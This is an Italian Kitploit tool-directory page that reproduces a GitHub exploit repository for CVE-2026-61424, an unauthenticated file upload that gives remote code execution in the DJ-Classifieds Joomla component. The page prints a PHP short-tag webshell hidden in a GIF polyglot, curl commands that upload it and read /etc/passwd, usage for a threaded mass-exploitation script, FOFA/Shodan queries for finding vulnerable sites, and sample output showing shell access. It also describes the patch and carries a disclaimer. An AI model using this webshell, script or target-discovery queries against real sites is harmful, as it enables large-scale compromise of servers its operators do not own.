Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-61424 — DJ-Classifieds Componente Joomla: RCE tramite caricamento di file non autenticato. Bypass del filtro a 3 stringhe tramite i tag brevi di PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2 | Kitploit
Strumenti/GitHubGitHub/shinthink/cve-2026-61424
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingConfigurazione ErrataRed TeamingStrumento di Accesso Remoto
GitHubshinthink/cve-2026-61424

CVE-2026-61424

DJ-Classifieds Componente Joomla: RCE tramite caricamento di file non autenticato. Bypass del filtro a 3 stringhe tramite i tag brevi di PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2

21 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

Python CVE CVSS License

CVE-2026-61424 — DJ-Classifieds <= 3.11.1

Task imageupload → Nessuna autenticazione → Bypass del filtro a 3 stringhe (

Panoramica

Caricamento arbitrario di file senza autenticazione in DJ-Classifieds per Joomla. L'endpoint del task imageupload elabora i caricamenti di file senza autenticazione e si affida a una blocklist di 3 stringhe (<?php, eval(, base64) che viene aggirata banalmente utilizzando i tag di apertura breve di PHP (<?=). Combinato con un GIF poliglotta, il file caricato supera tutti i controlli di validazione delle immagini pur contenendo una webshell PHP pienamente funzionante.


Versioni Interessate

StatoVersione
Vulnerabile1.0 — 3.11.1
Corretta3.11.2 (20 luglio 2026)

Meccanismo della Vulnerabilità

Causa Principale

Il metodo upload() in administrator/components/com_djclassifieds/lib/djupload.php è mappato al task imageupload senza controllo di autenticazione e senza validazione del token CSRF.

root@kitploit:~
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method

// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check

$name     = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');

// ... writes file to tmp/djupload/<name>

Perché il Filtro di Sicurezza Fallisce (Bypass a 3 Stringhe)

Lo scanner dei contenuti mette in blocklist solo tre stringhe letterali:

root@kitploit:~
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
    die('Malicious file detected');
}

Questo blocca <?php, eval( e base64 — ma non i tag di apertura breve di PHP:

root@kitploit:~
<?=system($_GET['c']);?>     ← 0/3 blocked strings → PASSES

I tag di eco breve di PHP (<?=) sono abilitati per impostazione predefinita a partire da PHP 5.4.

Flusso dell'Attacco

  1. Crea un poliglotta: header GIF89a valido + <?=system($_GET['c']);?>
  2. Invia una richiesta POST a index.php?option=com_djclassifieds&task=imageupload con name=shell.gif
  3. Il server verifica: estensione .gif ✓ getimagesize() ✓ nessun <?php/eval(/base64 ✓
  4. Il file viene salvato in tmp/djupload/<shell>.gif
  5. Accesso: https://target.com/tmp/djupload/shell.gif?c=id

File Sorgente Verificati

Evidenze dai Log del Server

Sonde di scanner anonime osservate in the wild prima della divulgazione:

root@kitploit:~
POST /index.php?option=com_djclassifieds&task=imageupload
  name=<random>.gif  filename=<random>.gif
  — no cookie, no session, no referer

Installazione

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt

Utilizzo

Target Singolo

root@kitploit:~
python cve_2026_61424.py -t target.com

Sfruttamento di Massa

root@kitploit:~
python cve_2026_61424.py -f targets.txt -o shells.txt

Argomenti


Prova di Concetto

Target Singolo

root@kitploit:~
$ python cve_2026_61424.py -t target.com

  Host         : target.com
  DJ-Classifieds: YES v3.11.1
  Upload       : YES
  RCE          : YES
  Shell        : https://target.com/tmp/djupload/img_abc123.gif
  Output       : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
  Time         : 2.1s

Sfruttamento Manuale

root@kitploit:~
# Step 1 — Upload polyglot shell
curl -sk -X POST \
  "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
  -H "Content-Type: image/gif" \
  --data-binary @polyglot.gif

# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"

# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"

FOFA / Shodan

root@kitploit:~
# DJ-Classifieds component
body="com_djclassifieds"

# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"

# Exposed djupload directory
body="Index of" && body="djupload"

# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"

La Patch (3.11.2)

  1. Aggiunta l'autenticazione Joomla — controllo ospite JFactory::getUser() prima di upload()
  2. Aggiunta la validazione del token CSRF — JSession::checkToken() sul task imageupload
  3. Tipi di file limitati — allowlist lato server di sole immagini (jpg, jpeg, png, gif)
  4. Scanning dei contenuti migliorato — rilevamento di pattern PHP aggiuntivi oltre la blocklist a 3 stringhe

Impatto

  • RCE completa — esegue comandi arbitrari come utente del server web
  • Accesso persistente — la shell rimane finché non viene rimossa manualmente o la directory ripulita
  • Abuso dei contenuti — caricamento e hosting di file arbitrari su un dominio affidabile
  • Esaurimento del disco — capacità di caricamento massivo anonimo
  • Attacchi concatenati — l'immagine poliglotta può essere inclusa tramite LFI altrove nel sito

Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopo educativo. Utilizzalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione. L'autore non si assume alcuna responsabilità per usi impropri o danni.


Riferimenti


Non affiliato a DJ-Extensions o mySites.guru.

Scarica lo strumento
CampoDettaglio
CVECVE-2026-61424
ProdottoDJ-Classifieds (estensione Joomla di DJ-Extensions)
CVSS 4.010.0 (Critico)
TipoCWE-434 — Caricamento file senza restrizioni
ScopertaPhil Taylor / mySites.guru — 16 luglio 2026
SfruttamentoConfermato in the wild prima della divulgazione
FileRuolo
administrator/components/com_djclassifieds/lib/djupload.phpMetodo upload() — nessuna autenticazione, filtro a 3 stringhe
components/com_djclassifieds/controller.phpInstrada il task imageupload verso upload()
administrator/components/com_djclassifieds/djclassifieds.xmlEsposizione della versione tramite il tag <version>
FlagDescrizionePredefinito
-t, --targetHost di un singolo target—
-f, --fileFile con i target (uno per riga, commenti #)—
-o, --outputSalva gli URL RCE in un file—
--threadsThread di lavoro per la modalità di massa30
--no-cleanupNon eliminare la shell dopo l'RCEFalse
--debugOutput di debugFalse
RisorsaLink
IONIX Threat Centerionix.io/threat-center/cve-2026-61424
Scoperta mySites.gurumysites.guru/blog/dj-classifieds-unauthenticated-file-upload
Rilascio di sicurezza DJ-Extensionsdj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release
Scheda CVE.orgcve.org/CVERecord?id=CVE-2026-61424
INCIBE-CERTincibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424